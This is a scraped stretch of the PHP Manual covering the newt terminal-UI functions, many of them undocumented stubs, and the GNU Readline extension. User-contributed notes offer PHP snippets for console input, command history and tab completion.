Warning

This function is currently not documented; only its argument list is available.

Parameters

function

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_scrollbar_set
newt_set_suspend_callback
Newt Functions


Set a callback function which gets invoked when user presses the suspend key

newt_set_help_callback
newt_suspend
Newt Functions
PHP Manual

newt_set_suspend_callback

(PECL newt >= 0.1)

newt_set_suspend_callback — Set a callback function which gets invoked when user presses the suspend key

Description

void newt_set_suspend_callback ( callback $function , mixed $data )

Set a callback function which gets invoked when user presses the suspend key (normally ^Z). If no suspend callback is registered, the suspend keystroke is ignored.

Parameters

function

A callback function, which accepts one argument: data

data

This data is been passed to the callback function

Return Values

No value is returned.

See Also

  • newt_suspend() - Tells newt to return the terminal to its initial state
  • newt_resume() - Resume using the newt interface after calling newt_suspend

User Contributed Notes

There are no user contributed notes for this page.
newt_set_help_callback
newt_suspend
Newt Functions


Tells newt to return the terminal to its initial state

newt_set_suspend_callback
newt_textbox_get_num_lines
Newt Functions
PHP Manual

newt_suspend

(PECL newt >= 0.1)

newt_suspend — Tells newt to return the terminal to its initial state

Description

void newt_suspend ( void )

Tells newt to return the terminal to its initial state. Once this is done, the application can suspend itself (by sending itself a SIGTSTP, fork a child program, or do whatever else it likes).

Return Values

No value is returned.

See Also

  • newt_resume() - Resume using the newt interface after calling newt_suspend

User Contributed Notes

There are no user contributed notes for this page.
newt_set_suspend_callback
newt_textbox_get_num_lines
Newt Functions


newt_suspend
newt_textbox_reflowed
Newt Functions
PHP Manual

newt_textbox_get_num_lines

(PECL newt >= 0.1)

newt_textbox_get_num_lines —

Description

int newt_textbox_get_num_lines ( resource $textbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

textbox

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_suspend
newt_textbox_reflowed
Newt Functions


newt_textbox_get_num_lines
newt_textbox_set_height
Newt Functions
PHP Manual

newt_textbox_reflowed

(PECL newt >= 0.1)

newt_textbox_reflowed —

Description

resource newt_textbox_reflowed ( int $left , int $top , char $*text , int $width , int $flex_down , int $flex_up [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

*text

width

flex_down

flex_up

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_textbox_get_num_lines
newt_textbox_set_height
Newt Functions


newt_textbox_reflowed
newt_textbox_set_text
Newt Functions
PHP Manual

newt_textbox_set_height

(PECL newt >= 0.1)

newt_textbox_set_height —

Description

void newt_textbox_set_height ( resource $textbox , int $height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

textbox

height

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_textbox_reflowed
newt_textbox_set_text
Newt Functions


newt_textbox_set_height
newt_textbox
Newt Functions
PHP Manual

newt_textbox_set_text

(PECL newt >= 0.1)

newt_textbox_set_text —

Description

void newt_textbox_set_text ( resource $textbox , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

textbox

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_textbox_set_height
newt_textbox
Newt Functions


newt_textbox_set_text
newt_vertical_scrollbar
Newt Functions
PHP Manual

newt_textbox

(PECL newt >= 0.1)

newt_textbox —

Description

resource newt_textbox ( int $left , int $top , int $width , int $height [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

width

height

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_textbox_set_text
newt_vertical_scrollbar
Newt Functions


newt_textbox
newt_wait_for_key
Newt Functions
PHP Manual

newt_vertical_scrollbar

(PECL newt >= 0.1)

newt_vertical_scrollbar —

Description

resource newt_vertical_scrollbar ( int $left , int $top , int $height [, int $normal_colorset [, int $thumb_colorset ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

normal_colorset

thumb_colorset

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_textbox
newt_wait_for_key
Newt Functions


Doesn't return until a key has been pressed

newt_vertical_scrollbar
newt_win_choice
Newt Functions
PHP Manual

newt_wait_for_key

(PECL newt >= 0.1)

newt_wait_for_key — Doesn't return until a key has been pressed

Description

void newt_wait_for_key ( void )

This function doesn't return until a key has been pressed. The keystroke is then ignored. If a key is already in the terminal's buffer, this function discards a keystroke and returns immediately.

Return Values

No value is returned.

See Also

  • newt_clear_key_buffer() - Discards the contents of the terminal's input buffer without waiting for additional input

User Contributed Notes

There are no user contributed notes for this page.
newt_vertical_scrollbar
newt_win_choice
Newt Functions


newt_wait_for_key
newt_win_entries
Newt Functions
PHP Manual

newt_win_choice

(PECL newt >= 0.1)

newt_win_choice —

Description

int newt_win_choice ( string $title , string $button1_text , string $button2_text , string $format [, mixed $args [, mixed $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

button1_text

button2_text

format

args

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_wait_for_key
newt_win_entries
Newt Functions


newt_win_choice
newt_win_menu
Newt Functions
PHP Manual

newt_win_entries

(PECL newt >= 0.1)

newt_win_entries —

Description

int newt_win_entries ( string $title , string $text , int $suggested_width , int $flex_down , int $flex_up , int $data_width , array &$items , string $button1 [, string $... ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

text

suggested_width

flex_down

flex_up

data_width

items

button1

button2

Return Values

Examples

Example #1 A newt_win_entries() example

<?php

newt_init();
newt_cls();

$entries[] = array('text' => 'First name:', 'value' => &$f_name);
$entries[] = array('text' => 'Last name:',  'value' => &$l_name);

$rc = newt_win_entries("User information", "Please enter your credentials:", 50, 7, 7, 30, $entries, "Ok", "Back");
newt_finished ();

if ($rc != 2) {
    echo "Your name is: $f_name $l_name\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
newt_win_choice
newt_win_menu
Newt Functions


newt_win_entries
newt_win_message
Newt Functions
PHP Manual

newt_win_menu

(PECL newt >= 0.1)

newt_win_menu —

Description

int newt_win_menu ( string $title , string $text , int $suggestedWidth , int $flexDown , int $flexUp , int $maxListHeight , array $items , int &$listItem [, string $button1 [, string $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

text

suggestedWidth

flexDown

flexUp

maxListHeight

items

listItem

button1

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_win_entries
newt_win_message
Newt Functions


newt_win_menu
newt_win_messagev
Newt Functions
PHP Manual

newt_win_message

(PECL newt >= 0.1)

newt_win_message —

Description

void newt_win_message ( string $title , string $button_text , string $format [, mixed $args [, mixed $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

button_text

format

args

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_win_menu
newt_win_messagev
Newt Functions


newt_win_message
newt_win_ternary
Newt Functions
PHP Manual

newt_win_messagev

(PECL newt >= 0.1)

newt_win_messagev —

Description

void newt_win_messagev ( string $title , string $button_text , string $format , array $args )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

button_text

format

args

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_win_message
newt_win_ternary
Newt Functions


newt_win_messagev
Readline
Newt Functions
PHP Manual

newt_win_ternary

(PECL newt >= 0.1)

newt_win_ternary —

Description

int newt_win_ternary ( string $title , string $button1_text , string $button2_text , string $button3_text , string $format [, mixed $args [, mixed $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

title

Its description

button1_text

Its description

button2_text

Its description

button3_text

Its description

format

Its description

args

Its description

Return Values

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.
newt_win_messagev
Readline
Newt Functions


GNU Readline

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Readline Functions
    • readline_add_history — Adds a line to the history
    • readline_callback_handler_install — Initializes the readline callback interface and terminal, prints the prompt and returns immediately
    • readline_callback_handler_remove — Removes a previously installed callback handler and restores terminal settings
    • readline_callback_read_char — Reads a character and informs the readline callback interface when a line is received
    • readline_clear_history — Clears the history
    • readline_completion_function — Registers a completion function
    • readline_info — Gets/sets various internal readline variables
    • readline_list_history — Lists the history
    • readline_on_new_line — Inform readline that the cursor has moved to a new line
    • readline_read_history — Reads the history
    • readline_redisplay — Redraws the display
    • readline_write_history — Writes the history
    • readline — Reads a line

User Contributed Notes

There are no user contributed notes for this page.
newt_win_ternary
Introduction
Command Line Specific Extensions


Introduction

The readline functions implement an interface to the GNU Readline library. These are functions that provide editable command lines. An example being the way Bash allows you to use the arrow keys to insert characters or scroll through command history. Because of the interactive nature of this library, it will be of little use for writing Web applications, but may be useful when writing scripts used from a command line.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
Readline
Installing/Configuring
Readline


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Readline


Requirements

To use the readline functions, you need to install libreadline. You can find libreadline on the home page of the GNU Readline project, at » http://cnswww.cns.cwru.edu/~chet/readline/rltop.html. It's maintained by Chet Ramey, who's also the author of Bash.

You can also use these functions with the libedit library, a non-GPL replacement for the readline library. The libedit library is BSD licensed and available for download from » http://www.thrysoee.dk/editline/.

User Contributed Notes

Anonymous 26-Jan-2011 06:38
Note that libedit does not support the function readline_list_history()
Installing/Configuring
Installation
Installing/Configuring


Installation

To use these functions you must compile the CGI or CLI version of PHP with readline support. You need to configure PHP --with-readline[=DIR] . If you want to use the libedit readline replacement, configure PHP --with-libedit[=DIR] .

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Readline Configure Options
Name | Default | Changeable | Changelog
cli.pager | "" | PHP_INI_ALL | Available since PHP 5.4.0.
cli.prompt | "\\b \\> " | PHP_INI_ALL | Available since PHP 5.4.0.

Here's a short explanation of the configuration directives.

cli.pager string

External tool to display output from command line.

cli.prompt string

Command line prompt.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Readline Functions
Readline


Readline Functions

Table of Contents

  • readline_add_history — Adds a line to the history
  • readline_callback_handler_install — Initializes the readline callback interface and terminal, prints the prompt and returns immediately
  • readline_callback_handler_remove — Removes a previously installed callback handler and restores terminal settings
  • readline_callback_read_char — Reads a character and informs the readline callback interface when a line is received
  • readline_clear_history — Clears the history
  • readline_completion_function — Registers a completion function
  • readline_info — Gets/sets various internal readline variables
  • readline_list_history — Lists the history
  • readline_on_new_line — Inform readline that the cursor has moved to a new line
  • readline_read_history — Reads the history
  • readline_redisplay — Redraws the display
  • readline_write_history — Writes the history
  • readline — Reads a line

User Contributed Notes

david at acz dot org 28-Feb-2007 09:07
Readline only reads the window size on startup or on SIGWINCH.  This means if the window is resized when not in a readline() call, the next call will have odd behavior due to confusion about the window size.

The work-around is to force Readline to re-read the window size by sending it SIGWINCH.  This is accomplished using the async interface, which installs the signal handler but returns control to PHP.

The following function is a drop-in replacement for readline(), but re-reads the window size every time:

<?
    function xreadline($prompt)
    {
        global $xreadline, $xreadline_line;
        $code = '$GLOBALS["xreadline"] = false;' .
                '$GLOBALS["xreadline_line"] = $line;' .
                'readline_callback_handler_remove();';
        $cb = create_function('$line', $code);
        readline_callback_handler_install($prompt, $cb);
        $signal = defined("SIGWINCH") ? SIGWINCH : 28;
        posix_kill(posix_getpid(), $signal);
        $xreadline = true;
        while ($xreadline)
            readline_callback_read_char();
        return is_null($xreadline_line) ? false : $xreadline_line;
    }
?>
flobee 28-Apr-2006 10:29
re to: ds at NOSPAM dot undesigned dot org dot za

cool program! note when trying to exec() something:
in the while loop you need to reset exec() returns or you will get all results of all executions (on my my windows and or cygwin :-(
like:
<?php
// your class prompt()

echo "Enter something or 'exit' to quit\n";
do {
    $cmdline = new prompt();
    $buffer = $cmdline->get('shell command: ');
// init/ reset first!
    $data = null;
    $return = null;
// now start:
    echo "You said: $buffer\n";
    if (!empty($buffer)) {
        $x = exec($buffer, $data, $return);
        print_r($data);
    }
} while ($buffer !== "exit");
echo "Goodbye\n";
jeffrey at thompsonic dot com 22-Feb-2005 06:18
Here's an easy way without readline() if you don't have it compiled in already:

   $fp = fopen("php://stdin","r");
   $line = rtrim(fgets($fp, 1024);
jcl atNOSPAM jcl dot name 23-Nov-2004 09:40
Even better than 'plz at dont dot spam' in only one line :) :

@c:\\php\\cli\\php.exe script.php %*

Cheers,
Jean-Charles
plz at dont dot spam 08-Aug-2004 01:50
To get all arguments passed to a batch file in one variable
rather than using %1 %2 %3 etc;

:LOOP
if "%1" == "" goto DONE
set args=%args% %1
shift
goto LOOP
:DONE
@c:\\php\\cli\\php.exe script.php %args%
set args=
ds at NOSPAM dot undesigned dot org dot za 04-Dec-2003 08:04
You can open /dev/tty on unix systems or \con in windows, with ob_implicit_flush(true) to write output unbuffered.  Works like a charm :-)

-------------------------------

#!/usr/local/bin/php -q
<?php

set_time_limit(0);
@ob_end_flush();
ob_implicit_flush(true);

class prompt {
  var $tty;

  function prompt() {
    if (substr(PHP_OS, 0, 3) == "WIN") {
      $this->tty = fOpen("\con", "rb");
    } else {
      if (!($this->tty = fOpen("/dev/tty", "r"))) {
        $this->tty = fOpen("php://stdin", "r");
      }
    }
  }

  function get($string, $length = 1024) {
    echo $string;
    $result = trim(fGets($this->tty, $length));
    echo "\n";
    return $result;
  }
}

echo "Enter something or 'exit' to quit\n";
do {
  $cmdline = new prompt();
  $buffer = $cmdline->get("Something: ");
  echo "You said: $buffer\n";
} while ($buffer !== "exit");
echo "Goodbye\n";

?>
jewfish at jewfish dot net 10-Jun-2002 04:05
There is a simpler way to do a multiline read than above:

function multiline() {
    while(($in = readline("")) != ".")
        $story .= ($PHP_OS == "WINNT") ? "\r\n".$in :
                                         "\n".$in;

    return $story;
}
joshua at neocodesoftware.com 21-Apr-2002 03:17
Here's an example simple readline-like way to input from command line on windows - the single line is from http://www.phpbuilder.com/columns/darrell20000319.php3, the multiline is something I added...

<?
function read () {
    # 4092 max on win32 fopen

    $fp=fopen("php://stdin", "r");
    $in=fgets($fp,4094);
    fclose($fp);

    # strip newline
    (PHP_OS == "WINNT") ? ($read = str_replace("\r\n", "", $in)) : ($read = str_replace("\n", "", $in));

    return $read;
}

function multilineread () {
    do {
        $in = read();

        # test exit
        if ($in == ".") return $read;

        # concat input
        (PHP_OS == "WINNT") ? ($read = $read . ($read ? "\r\n" : "") . $in) : ($read = $read . "\n" . $in);

    } while ($inp != ".");

    return $read;
}

print("End input with . on line by itself.\n");

print("What is your first name?\n");
$first_name = multilineread();

print("What is your last name?\n");
$last_name = read();

print("\nHello, $first_name $last_name! Nice to meet you! \n");
?>
14-Apr-2002 07:17
[Ed. note: you can use fopen("php://stdin", "w") to achieve the same thing, works on both Windows and Unix)]

I wanted to get console input in a PHP script running on windows, so I made a little hack, which is so simple, it is clearly public domain.  What I did was write a C++ program to get a line, then output it.  Then all that is needed is to exec() that program and capture the output - readline() for windows.  The C++ source is as follows:

#include <iostream.h>
#include <string>
void main()
{
    string input;
    cin >> input;
    cout << input;
}

It works wonderfully for my purposes, since I love the PHP language and want to have console input.

Justin Henck
Predefined Constants
readline_add_history
Readline


Adds a line to the history

Readline Functions
readline_callback_handler_install
Readline Functions
PHP Manual

readline_add_history

(PHP 4, PHP 5)

readline_add_history — Adds a line to the history

Description

bool readline_add_history ( string $line )

This function adds a line to the command line history.

Parameters

line

The line to be added in the history.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 26-Jan-2011 03:53
Note that readline_add_history() will add empty strings too.

<?php
$line = readline(">>> ");
if (!empty($line)) {
  readline_add_history($line);
}
?>
Readline Functions
readline_callback_handler_install
Readline Functions


Initializes the readline callback interface and terminal, prints the prompt and returns immediately

readline_add_history
readline_callback_handler_remove
Readline Functions
PHP Manual

readline_callback_handler_install

(PHP 5 >= 5.1.0)

readline_callback_handler_install — Initializes the readline callback interface and terminal, prints the prompt and returns immediately

Description

bool readline_callback_handler_install ( string $prompt , callback $callback )

Sets up a readline callback interface then prints prompt and immediately returns. Calling this function twice without removing the previous callback interface will automatically and conveniently overwrite the old interface.

The callback feature is useful when combined with stream_select() as it allows interleaving of IO and user input, unlike readline().

Parameters

prompt

The prompt message.

callback

The callback function takes one parameter; the user input returned.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Readline Callback Interface Example

<?php
function rl_callback($ret)
{
    global $c, $prompting;

    echo "You entered: $ret\n";
    $c++;

    if ($c > 10) {
        $prompting = false;
        readline_callback_handler_remove();
    } else {
        readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');
    }
}

$c = 1;
$prompting = true;

readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');

while ($prompting) {
    $w = NULL;
    $e = NULL;
    $n = stream_select($r = array(STDIN), $w, $e, null);
    if ($n && in_array(STDIN, $r)) {
        // read a character, will call the callback when a newline is entered
        readline_callback_read_char();
    }
}

echo "Prompting disabled. All done.\n";
?>

See Also

  • readline_callback_handler_remove() - Removes a previously installed callback handler and restores terminal settings
  • readline_callback_read_char() - Reads a character and informs the readline callback interface when a line is received
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

User Contributed Notes

There are no user contributed notes for this page.
readline_add_history
readline_callback_handler_remove
Readline Functions


Removes a previously installed callback handler and restores terminal settings

readline_callback_handler_install
readline_callback_read_char
Readline Functions
PHP Manual

readline_callback_handler_remove

(PHP 5 >= 5.1.0)

readline_callback_handler_remove — Removes a previously installed callback handler and restores terminal settings

Description

bool readline_callback_handler_remove ( void )

Removes a previously installed callback handler and restores terminal settings.

Return Values

Returns TRUE if a previously installed callback handler was removed, or FALSE if one could not be found.

Examples

See readline_callback_handler_install() for an example of how to use the readline callback interface.

See Also

  • readline_callback_handler_install() - Initializes the readline callback interface and terminal, prints the prompt and returns immediately
  • readline_callback_read_char() - Reads a character and informs the readline callback interface when a line is received

User Contributed Notes

There are no user contributed notes for this page.
readline_callback_handler_install
readline_callback_read_char
Readline Functions


Reads a character and informs the readline callback interface when a line is received

readline_callback_handler_remove
readline_clear_history
Readline Functions
PHP Manual

readline_callback_read_char

(PHP 5 >= 5.1.0)

readline_callback_read_char — Reads a character and informs the readline callback interface when a line is received

Description

void readline_callback_read_char ( void )

Reads a character of user input. When a line is received, this function informs the readline callback interface installed using readline_callback_handler_install() that a line is ready for input.

Return Values

No value is returned.

Examples

See readline_callback_handler_install() for an example of how to use the readline callback interface.

See Also

  • readline_callback_handler_install() - Initializes the readline callback interface and terminal, prints the prompt and returns immediately
  • readline_callback_handler_remove() - Removes a previously installed callback handler and restores terminal settings

User Contributed Notes

Quis-NOZPAM- at omicidio-NOZPAM- dot nl 02-Aug-2006 04:43
Note that this function is blocking if there is no character to read
If you don`t want to get blocked, you should use the trick with stream_select()

It also only reads one char per call,
So if something else in your script is blocking,
you`ve got a problem
readline_callback_handler_remove
readline_clear_history
Readline Functions


Clears the history

readline_callback_read_char
readline_completion_function
Readline Functions
PHP Manual

readline_clear_history

(PHP 4, PHP 5)

readline_clear_history — Clears the history

Description

bool readline_clear_history ( void )

This function clears the entire command line history.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
readline_callback_read_char
readline_completion_function
Readline Functions


Registers a completion function

readline_clear_history
readline_info
Readline Functions
PHP Manual

readline_completion_function

(PHP 4, PHP 5)

readline_completion_function — Registers a completion function

Description

bool readline_completion_function ( callback $function )

This function registers a completion function. This is the same kind of functionality you'd get if you hit your tab key while using Bash.

Parameters

function

You must supply the name of an existing function which accepts a partial command line and returns an array of possible matches.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

chris AT w3style DOT co UK 28-Nov-2009 08:39
A little bit of info regarding useful variables when writing your callback function.

There doesn't seem to be a way to set rl_basic_word_break_characters like with the pure C library, so as previous users have pointed out you'll only receive the current word in the input buffer within your callback.  If for example you're typing "big bro|ther", where the bar is the position of your cursor when you hit TAB, you'll receive (string) "brother" and (int) 4 as your callback parameters.

However, it is possible (easily) to get more useful information about what the user has typed into the readline buffer.  readline_info() is key here.  It will return an array containing:

"line_buffer" => (string)
   the entire contents of the line buffer (+ some bugs**)

"point" => (int)
   the current position of the cursor in the buffer

"end" => (int)
   the position of the last character in the buffer

So for the example above you'd get:

  * line_buffer => "big brother"
  * point => 7
  * end => 11

From this you can easily perform multi-word matches.

** NOTE: line_buffer seems to contain spurious data at the end of the string sometime.  Fortunately since $end is provided you can substr() it to get the correct value.

The matches you need to return are full words that can replace $input, so your algorithm might crudely look something like:

<?php

function your_callback($input, $index) {
  // Get info about the current buffer
  $rl_info = readline_info();

  // Figure out what the entire input is
  $full_input = substr($rl_info['line_buffer'], 0, $rl_info['end']);

  $matches = array();

  // Get all matches based on the entire input buffer
  foreach (phrases_that_begin_with($full_input) as $phrase) {
    // Only add the end of the input (where this word begins)
    // to the matches array
    $matches[] = substr($phrase, $index);
  }

  return $matches;
}

?>
overshoot.tv 25-Jun-2009 12:07
Note: the first argument passed to the registered function is NOT the whole command line as entered by the user, but only the last part, i.e. the part after the last space.

e.g.:
<?php
function my_readline_completion_function($string, $index) {
  // If the user is typing:
  // mv file.txt directo[TAB]
  // then:
  // $string = directo
  // the $index is the place of the cursor in the line:
  // $index = 19;

  $array = array(
    'ls',
    'mv',
    'dar',
    'exit',
    'quit',
  );

  // Here, I decide not to return filename autocompletion for the first argument (0th argument).
  if ($index) {
    $ls = `ls`;
    $lines = explode("\n", $ls);
    foreach ($lines AS $key => $line) {
      if (is_dir($line)) {
        $lines[$key] .= '/';
      }
      $array[] = $lines[$key];
    }
  }
  // This will return both our list of functions, and, possibly, a list of files in the current filesystem.
 // php will filter itself according to what the user is typing.
  return $array;
}
?>
david at acz dot org 01-Feb-2005 12:08
This function can simply return an array of all possible matches (regardless of the current user intput) and readline will handle the matching itself.  This is likely to be much faster than attempting to handle partial matches in PHP.
john at weider dot cc 21-Sep-2002 09:32
It seems that the registered function can accept 2 parameters, the first being the partial string, the second a number that when equal to zero indicates that the tab was hit on the first argument on the input. Otherwise it looks like the position within the string is returned.

This is neccessary information for processing shell command line input.
readline_clear_history
readline_info
Readline Functions


Gets/sets various internal readline variables

readline_completion_function
readline_list_history
Readline Functions
PHP Manual

readline_info

(PHP 4, PHP 5)

readline_info — Gets/sets various internal readline variables

Description

mixed readline_info ([ string $varname [, string $newvalue ]] )

Gets or sets various internal readline variables.

Parameters

varname

A variable name.

newvalue

If provided, this will be the new value of the setting.

Return Values

If called with no parameters, this function returns an array of values for all the setting readline uses. The elements will be indexed by the following values: done, end, erase_empty_line, library_version, line_buffer, mark, pending_input, point, prompt, readline_name, and terminal_name.

If called with one or two parameters, the old value is returned.

User Contributed Notes

There are no user contributed notes for this page.
readline_completion_function
readline_list_history
Readline Functions


Lists the history

readline_info
readline_on_new_line
Readline Functions
PHP Manual

readline_list_history

(PHP 4, PHP 5)

readline_list_history — Lists the history

Description

array readline_list_history ( void )

Gets the entire command line history.

Return Values

Returns an array of the entire command line history. The elements are indexed by integers starting at zero.

User Contributed Notes

Anonymous 26-Jan-2011 06:17
Note this function is only available when PHP is compiled with libreadline, not if it is compiled with libedit.

<?php
if (function_exists('readline_list_history')) {
  $history = readline_list_history();
  // ...
} else {
  echo 'Not supported by the compiled library.'.PHP_EOL;
}
?>
readline_info
readline_on_new_line
Readline Functions


Inform readline that the cursor has moved to a new line

readline_list_history
readline_read_history
Readline Functions
PHP Manual

readline_on_new_line

(PHP 5 >= 5.1.0)

readline_on_new_line — Inform readline that the cursor has moved to a new line

Description

void readline_on_new_line ( void )

Tells readline that the cursor has moved to a new line.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
readline_list_history
readline_read_history
Readline Functions


Reads the history

readline_on_new_line
readline_redisplay
Readline Functions
PHP Manual

readline_read_history

(PHP 4, PHP 5)

readline_read_history — Reads the history

Description

bool readline_read_history ([ string $filename ] )

This function reads a command history from a file.

Parameters

filename

Path to the filename containing the command history.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 26-Jan-2011 04:07
Note that the first line in the history file must contain the string: _HiStOrY_V2_

Else it wont work.
readline_on_new_line
readline_redisplay
Readline Functions


Redraws the display

readline_read_history
readline_write_history
Readline Functions
PHP Manual

readline_redisplay

(PHP 5 >= 5.1.0)

readline_redisplay — Redraws the display

Description

void readline_redisplay ( void )

Redraws readline to redraw the display.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
readline_read_history
readline_write_history
Readline Functions


Writes the history

readline_redisplay
readline
Readline Functions
PHP Manual

readline_write_history

(PHP 4, PHP 5)

readline_write_history — Writes the history

Description

bool readline_write_history ([ string $filename ] )

This function writes the command history to a file.

Parameters

filename

Path to the saved file.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

jonathan dot gotti at free dot fr 27-Apr-2006 04:52
readline_write_history() doesn't take care of the $_SERVER['HISTSIZE'] value, here's an example on how to handle an history file in your apps taking care of user preferences regarding history size.

at the begining of your script:
<?php
$history_file = $_SERVER['HOME'].'/.PHPinteractive_history';
# read history from previous session
if(is_file($history_file))
  readline_read_history($history_file);
....
# your application's code
....
# put this at the end of yur script to save history and take care of $_SERVER['HISTSIZE']
if( readline_write_history($history_file) ){
  # clean history if too long
  $hist = readline_list_history();
  if( ($histsize = count($hist)) > $_SERVER['HISTSIZE'] ){
    $hist = array_slice($hist, $histsize - $_SERVER['HISTSIZE']);
    # in php5 you can replaces thoose line with a file_puts_content()
    if( $fhist = fopen($history_file,'w') ){
      fwrite($fhist,implode("\n",$hist));
      fclose($fhist);
    }
  }
}
?>
readline_redisplay
readline
Readline Functions


Reads a line

readline_write_history
Compression and Archive Extensions
Readline Functions
PHP Manual

readline

(PHP 4, PHP 5)

readline — Reads a line

Description

string readline ([ string $prompt ] )

Reads a single line from the user. You must add this line to the history yourself using readline_add_history().

Parameters

prompt

You may specify a string with which to prompt the user.

Return Values

Returns a single string from the user. The line returned has the ending newline removed.

Examples

Example #1 readline() Example

<?php
//get 3 commands from user
for ($i=0; $i < 3; $i++) {
        $line = readline("Command: ");
        readline_add_history($line);
}

//dump history
print_r(readline_list_history());

//dump variables
print_r(readline_info());
?>

User Contributed Notes

Anonymous 30-May-2011 09:12
Calling readline() always enables filename autocompletion even if not requested. It does so by looking for files in the current working directory.

This current working directory can be changed with the chdir() function.

But I don't know if there is any way to disable filename autocompletion other than set the current working directory to an empty directory.
Anonymous 30-May-2011 08:51
The readline library is not available on Windows.

<?php
if (PHP_OS == 'WINNT') {
  echo '$ ';
  $line = stream_get_line(STDIN, 1024, PHP_EOL);
} else {
  $line = readline('$ ');
}
?>
sean 21-Jun-2009 02:00
I wanted a function that would timeout if readline was waiting too long... this works on php CLI on linux:

<?php

function readline_timeout($sec, $def)
{
    return trim(shell_exec('bash -c ' .
        escapeshellarg('phprlto=' .
            escapeshellarg($def) . ';' .
            'read -t ' . ((int)$sec) . ' phprlto;' .
            'echo "$phprlto"')));
}

?>

Just call readline_timeout(5, 'whatever') to either read something from stdin, or timeout in 5 seconds and default to 'whatever'.  I tried just using shell_exec without relying on bash -c, but that didn't work for me, so I had to go the round about way.
taneli at crasman dot fi 24-Mar-2009 12:21
If you want to prefill the prompt with something when using readline, this worked for me:

<?php
  function readline_callback($ret)
  {
    global $prompt_answer, $prompt_finished;
    $prompt_answer = $ret;
    $prompt_finished = TRUE;
    readline_callback_handler_remove();
  }

  readline_callback_handler_install('Enter some text> ',
                                    'readline_callback');

  $prefill = 'foobar';
  for ($i = 0; $i < strlen($prefill); $i++)
  {
    readline_info('pending_input', substr($prefill, $i, 1));
    readline_callback_read_char();
  }

  $prompt_finished = FALSE;
  $prompt_answer = FALSE;
  while (!$prompt_finished)
    readline_callback_read_char();
  echo 'You wrote: ' . $prompt_answer . "\n";
?>
rojaro at gmail dot com 31-Oct-2008 07:28
Note that readline() will return boolean "false" when the user presses CTRL+D.
soletan at toxa dot de 04-Sep-2006 05:44
To haukew at gmail dot com:

readline provides more features than reading a single line of input ... your example misses line editing and history. If you don't need that, use something as simple as this:

function readline( $prompt = '' )
{
    echo $prompt;
    return rtrim( fgets( STDIN ), "\n" );
}
haukew at gmail dot com 15-Jan-2006 05:39
A readline for ux systems without gnu-readline. (KISS)

function readline($prompt="")
{
   print $prompt;
   $out = "";
   $key = "";
   $key = fgetc(STDIN);        //read from standard input (keyboard)
   while ($key!="\n")        //if the newline character has not yet arrived read another
   {
       $out.= $key;
       $key = fread(STDIN, 1);
   }
   return $out;
}
Vylen 27-Aug-2005 08:36
I've got another solution for those those without readline compiled on a linux system.

This one is different as it is specifically for different PHP files opened by proc_open or in the CLI and are constantly looking for input.

<?php
// Define the pointer
$readline = popen("while true; do { read reply; echo \$reply ; }; done", "r");

// Some class
class example {
   function data() {
      global $readline;

      // Return any data from $readline, substr() is to remove the trailing linebreak, its really optional.
      return(substr(fgets($readline, 1024), 0, -1));
   }
}

$example = new example();

while($line = $example->data()) {
   if($line == 'hello')
      echo "Hi to you too!\n";
   else
      echo "recieved input\n";
}
?>
12-Feb-2005 11:40
I have my own readline function for Windows:
<?php
function readline($prompt="") {
    echo $prompt;
    $o = "";
    $c = "";
    while ($c!="\r"&&$c!="\n") {
        $o.= $c;
        $c = fread(STDIN, 1);
    }
    fgetc(STDIN);
    return $o;
}
?>
With many of the other functions posted above, it will only work once, and will immediately return while returning nothing afterwards.
----
Me;)
TheFatherMind At Dangerous-Minds.NET 02-Mar-2004 11:22
